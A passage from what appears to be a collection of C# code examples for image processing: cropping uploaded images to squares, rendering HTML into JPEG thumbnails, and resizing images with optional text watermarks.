            eps.Param[0] = new EncoderParameter(Encoder.Quality, CatalogConfiguration.Instance.EncodingSettings.ImageQualityPercentage);

            // Save to the cache
            MemoryStream data = new MemoryStream();

            bitmap.Save(data, codec, eps);

            bitmap.Dispose();
            graph.Dispose();
            eps.Dispose();
            image.Dispose();

            return(data.ToArray());
        }
示例#31
0
        public static void CutForSquare(HttpPostedFile postedFile, string fileSaveUrl, int side, int quality)
        {
            string directoryName = Path.GetDirectoryName(fileSaveUrl);

            if (!Directory.Exists(directoryName))
            {
                Directory.CreateDirectory(directoryName);
            }
            Image image = Image.FromStream(postedFile.InputStream, true);

            if ((image.Width <= side) && (image.Height <= side))
            {
                image.Save(fileSaveUrl, ImageFormat.Jpeg);
            }
            else
            {
                int width  = image.Width;
                int height = image.Height;
                if (width != height)
                {
                    Rectangle rectangle;
                    Rectangle rectangle2;
                    Image     image2   = null;
                    Graphics  graphics = null;
                    if (width > height)
                    {
                        image2   = new Bitmap(height, height);
                        graphics = Graphics.FromImage(image2);
                        graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
                        graphics.SmoothingMode     = SmoothingMode.HighQuality;
                        rectangle  = new Rectangle((width - height) / 2, 0, height, height);
                        rectangle2 = new Rectangle(0, 0, height, height);
                        graphics.DrawImage(image, rectangle2, rectangle, GraphicsUnit.Pixel);
                        width = height;
                    }
                    else
                    {
                        image2   = new Bitmap(width, width);
                        graphics = Graphics.FromImage(image2);
                        graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
                        graphics.SmoothingMode     = SmoothingMode.HighQuality;
                        rectangle  = new Rectangle(0, (height - width) / 2, width, width);
                        rectangle2 = new Rectangle(0, 0, width, width);
                        graphics.DrawImage(image, rectangle2, rectangle, GraphicsUnit.Pixel);
                        height = width;
                    }
                    image = (Image)image2.Clone();
                    graphics.Dispose();
                    image2.Dispose();
                }
                Image    image3    = new Bitmap(side, side);
                Graphics graphics2 = Graphics.FromImage(image3);
                graphics2.InterpolationMode = InterpolationMode.HighQualityBicubic;
                graphics2.SmoothingMode     = SmoothingMode.HighQuality;
                graphics2.Clear(Color.White);
                graphics2.DrawImage(image, new Rectangle(0, 0, side, side), new Rectangle(0, 0, width, height), GraphicsUnit.Pixel);
                ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
                ImageCodecInfo   encoder       = null;
                foreach (ImageCodecInfo info2 in imageEncoders)
                {
                    if ((((info2.MimeType == "image/jpeg") || (info2.MimeType == "image/bmp")) || (info2.MimeType == "image/png")) || (info2.MimeType == "image/gif"))
                    {
                        encoder = info2;
                    }
                }
                EncoderParameters encoderParams = new EncoderParameters(1);
                encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long)quality);
                image3.Save(fileSaveUrl, encoder, encoderParams);
                encoderParams.Dispose();
                graphics2.Dispose();
                image3.Dispose();
                image.Dispose();
            }
        }
示例#32
0
        static byte[] CaptureWebPageBytesP(string body, int width, int height)
        {
            byte[] data;

            using (WebBrowser web = new WebBrowser())
            {
                web.ScrollBarsEnabled      = false; // no scrollbars
                web.ScriptErrorsSuppressed = true;  // no errors

                web.DocumentText = body;
                while (web.ReadyState != System.Windows.Forms.WebBrowserReadyState.Complete)
                {
                    System.Windows.Forms.Application.DoEvents();
                }

                web.Width  = web.Document.Body.ScrollRectangle.Width;
                web.Height = web.Document.Body.ScrollRectangle.Height;

                // a bitmap that we will draw to
                using (System.Drawing.Bitmap bmp = new System.Drawing.Bitmap(web.Width, web.Height))
                {
                    // draw the web browser to the bitmap
                    web.DrawToBitmap(bmp, new Rectangle(web.Location.X, web.Location.Y, web.Width, web.Height));
                    // draw the web browser to the bitmap

                    GraphicsUnit units    = GraphicsUnit.Pixel;
                    RectangleF   destRect = new RectangleF(0F, 0F, width, height);
                    RectangleF   srcRect  = new RectangleF(0, 0, web.Width, web.Width * 1.5F);

                    Bitmap   b = new Bitmap(width, height);
                    Graphics g = Graphics.FromImage((Image)b);
                    g.Clear(Color.White);
                    g.InterpolationMode = InterpolationMode.HighQualityBicubic;

                    g.DrawImage(bmp, destRect, srcRect, units);
                    g.Dispose();

                    using (System.IO.MemoryStream stream = new System.IO.MemoryStream())
                    {
                        EncoderParameter  qualityParam  = null;
                        EncoderParameters encoderParams = null;
                        try
                        {
                            ImageCodecInfo imageCodec = null;
                            imageCodec = GetEncoderInfo("image/jpeg");

                            qualityParam = new EncoderParameter(Encoder.Quality, 100L);

                            encoderParams          = new EncoderParameters(1);
                            encoderParams.Param[0] = qualityParam;
                            b.Save(stream, imageCodec, encoderParams);
                        }
                        catch (Exception)
                        {
                            throw new Exception();
                        }
                        finally
                        {
                            if (encoderParams != null)
                            {
                                encoderParams.Dispose();
                            }
                            if (qualityParam != null)
                            {
                                qualityParam.Dispose();
                            }
                        }
                        b.Save(stream, System.Drawing.Imaging.ImageFormat.Jpeg);
                        stream.Position = 0;
                        data            = new byte[stream.Length];
                        stream.Read(data, 0, (int)stream.Length);
                    }
                }
            }
            return(data);
        }
示例#33
0
        /// <summary>
        /// 智能存储文件函数(优化存储)
        /// </summary>
        /// <param name="ImageFileData">文件字节数据</param>
        /// <param name="FileName">存储目标磁盘路径</param>
        /// <param name="TargetSize"> 目标图片像素大小限制(0表示自动原图大小)</param>
        /// <param name="TargetSizeOnlyForWidthLimit"> 目标图片大小是否仅用作宽度限制,否则宽高均不得超限</param>
        /// <param name="WaterMark"> 图片的水印字符串(如果为空“string.Empty”则不打印水印)</param>
        /// <param name="WaterMarkOnImageSizeLimit">  打水印时图片尺寸限制,宽高均达到此要求的才打水印</param>
        /// /// 调用示例: if (!IntelligentSaveImageFile(ImageFileData, FileName, TargetSize,
        ///     TargetSizeOnlyForWidthLimit, WaterMark)) UploadFile.SaveAs(FileName); //需要检查保存IntelligentSaveImageFile忽略的文件。
        /// <returns>false没存储,true已经存储</returns>

        public static bool IntelligentSaveImageFile(byte[] ImageFileData, string FileName, int TargetSize, bool TargetSizeOnlyForWidthLimit, string WaterMark, Size WaterMarkOnImageSizeLimit)
        {
            string a;

            if ((a = Path.GetExtension(FileName).ToLower()) != null)
            {
                if (!(a == ".jpg") && !(a == ".jpeg"))
                {
                    if (!(a == ".bmp"))
                    {
                        return(false);
                    }
                    FileName = string.Format("{0}.jpg", FileName.Substring(0, FileName.Length - 4));
                }
                using (Image image = Image.FromStream(new MemoryStream(ImageFileData)))
                {
                    if (image.Width < WaterMarkOnImageSizeLimit.Width || image.Height < WaterMarkOnImageSizeLimit.Height)
                    {
                        WaterMark = string.Empty;
                    }
                    int num = ImageFileData.Length / 1024;
                    if (num <= 100 && TargetSize <= 0 && string.IsNullOrEmpty(WaterMark))
                    {
                        return(false);
                    }
                    Size size = image.Size;
                    if (TargetSize <= 0 && image.Width > DefaultImageWidthLimit)
                    {
                        TargetSize = DefaultImageWidthLimit;
                        TargetSizeOnlyForWidthLimit = true;
                    }
                    if (TargetSize > 0)
                    {
                        size = CalculateDimensions(image.Size, TargetSize, TargetSizeOnlyForWidthLimit);
                    }
                    using (Bitmap bitmap = new Bitmap(size.Width, size.Height, PixelFormat.Format24bppRgb))
                    {
                        using (Graphics graphics = Graphics.FromImage(bitmap))
                        {
                            graphics.SmoothingMode     = SmoothingMode.AntiAlias;
                            graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
                            graphics.PixelOffsetMode   = PixelOffsetMode.HighQuality;
                            graphics.DrawImage(image, new Rectangle(new Point(-1, -1), new Size(size.Width + 2, size.Height + 2)));
                            if (!string.IsNullOrEmpty(WaterMark))
                            {
                                graphics.TextRenderingHint = TextRenderingHint.AntiAliasGridFit;
                                Font font;
                                if (string.IsNullOrEmpty(WaterMarkFontFilePath))
                                {
                                    font = new Font("华文彩云", 25f, FontStyle.Regular, GraphicsUnit.Pixel);
                                }
                                else
                                {
                                    PrivateFontCollection privateFontCollection = new PrivateFontCollection();
                                    privateFontCollection.AddFontFile(WaterMarkFontFilePath);
                                    font = new Font(privateFontCollection.Families[0], 25f, FontStyle.Regular, GraphicsUnit.Pixel);
                                }
                                SolidBrush brush  = new SolidBrush(Color.FromArgb(150, 0, 0, 0));
                                SolidBrush brush2 = new SolidBrush(Color.FromArgb(150, 255, 255, 255));
                                int        num2   = size.Height - 45;
                                int        num3   = 25;
                                if (num2 >= 0 && num3 >= 0)
                                {
                                    graphics.DrawString(WaterMark, font, brush, (float)num3, (float)num2);
                                    graphics.DrawString(WaterMark, font, brush2, (float)(num3 + 1), (float)(num2 + 1));
                                }
                            }
                            ImageCodecInfo encoder = GetEncoder(ImageFormat.Jpeg);
                            System.Drawing.Imaging.Encoder quality = System.Drawing.Imaging.Encoder.Quality;
                            EncoderParameters encoderParameters    = new EncoderParameters(1);
                            EncoderParameter  encoderParameter     = new EncoderParameter(quality, 91L);
                            encoderParameters.Param[0] = encoderParameter;
                            bitmap.Save(FileName, encoder, encoderParameters);
                            encoderParameter.Dispose();
                            encoderParameters.Dispose();
                        }
                    }
                }
                return(true);
            }
            return(false);
        }